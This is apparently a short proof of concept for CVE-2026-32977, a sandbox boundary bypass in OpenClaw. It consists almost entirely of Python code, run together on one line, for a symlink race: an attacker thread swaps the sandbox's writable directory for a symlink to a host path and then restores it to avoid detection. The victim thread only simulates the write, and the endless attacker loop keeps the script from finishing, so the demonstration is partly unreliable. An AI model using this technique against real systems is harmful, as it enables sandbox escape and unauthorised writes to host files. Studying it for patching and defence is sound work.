CVE-2026-32977 OpenClaw沙箱边界绕过漏洞

import threading import os import time # Simulate the vulnerable scenario TARGET_PATH = "/container/sandbox/writable_dir" HOST_PATH = "/host/system/path" def exploit_race_condition(): """ Attacker thread: Continuously swap the parent directory to change the destination of the write operation. """ while True: try: # Step 1: Rename the original directory to temp if os.path.exists(TARGET_PATH): os.rename(TARGET_PATH, "/tmp/original_dir") # Step 2: Create a symlink pointing outside the sandbox os.symlink(HOST_PATH, TARGET_PATH) # Small delay to allow the check/use window time.sleep(0.001) # Step 3: Restore the original state to avoid detection os.unlink(TARGET_PATH) os.rename("/tmp/original_dir", TARGET_PATH) except Exception as e: print(f"Error in exploit: {e}") def trigger_vulnerable_write(): """ Victim thread: Triggers the vulnerable writeFile commit. This represents the OpenClaw fs-bridge operation. """ file_content = b"MALICIOUS_PAYLOAD" # In a real scenario, this calls the vulnerable API # which performs: check(path) -> move(file, path) print("Attempting to write file...") # Simulating the Time-of-Check print(f"[Check] Path is safe: {TARGET_PATH}") # Introduce delay (The race window) time.sleep(0.0005) # Simulating the Time-of-Use (Move operation) # If exploit succeeded, this writes to HOST_PATH print(f"[Use] Moving file to {TARGET_PATH}") if __name__ == "__main__": # Setup environment os.makedirs(TARGET_PATH, exist_ok=True) # Start threads attacker = threading.Thread(target=exploit_race_condition) victim = threading.Thread(target=trigger_vulnerable_write) attacker.start() victim.start() victim.join() attacker.join()